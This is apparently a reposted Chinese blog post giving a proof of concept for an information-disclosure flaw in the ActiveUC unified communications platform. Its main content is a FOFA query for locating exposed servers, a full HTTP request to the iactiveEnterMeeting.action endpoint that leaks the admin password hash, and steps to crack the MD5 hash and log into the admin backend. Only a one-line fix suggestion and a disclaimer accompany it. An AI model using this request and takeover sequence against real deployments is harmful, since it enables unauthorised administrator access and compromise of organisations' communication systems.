网动统一通信平台ActiveUC存在信息泄露漏洞 Poc

admin 2024年12月10日10:47:33评论29 views字数 799阅读2分39秒阅读模式
简介

网动统一通信平台(Active UC)是一款集成文字、语音、视频等多种沟通方式的企业级通信平台,旨在提升用户沟通效率和便利性。该平台支持多种通信设备和协议,具有高度的兼容性和灵活性,能够适应不同的网络环境和工作需求。通过将VoIP电话、电子邮件等多种沟通方式融合在一个统一的界面中,网动统一通信平台为企业提供了一个高效、便捷的沟通环境,助力提升团队协作和生产力。

网动统一通信平台ActiveUC存在信息泄露漏洞 Poc
漏洞描述
网动统一通信平台(Active UC)接口 /acenter/iactiveEnterMeeting.action 存在信息泄露漏洞,攻击者通过该漏洞访问敏感信息,进而导致管理员密码泄露。
fofa语法
title="网动统一通信平台 (Active UC)"
漏洞复现
GET/acenter/iactiveEnterMeeting.action?roomid=1&username=admin HTTP/1.1Host: IPUser-Agent: Mozilla/5.0 (WindowsNT10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brConnection: closeUpgrade-Insecure-Requests: 1Priority: u=0, i
网动统一通信平台ActiveUC存在信息泄露漏洞 Poc
password md5解密,然后登录后台
网动统一通信平台ActiveUC存在信息泄露漏洞 Poc

批量检测:

网动统一通信平台ActiveUC存在信息泄露漏洞 Poc
网动统一通信平台ActiveUC存在信息泄露漏洞 Poc
修复建议
避免在错误信息和日志中包含敏感数据

原文始发于微信公众号(白帽攻防):【漏洞复现】网动统一通信平台ActiveUC存在信息泄露漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月10日10:47:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网动统一通信平台ActiveUC存在信息泄露漏洞 Pochttps://cn-sec.com/archives/3489999.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息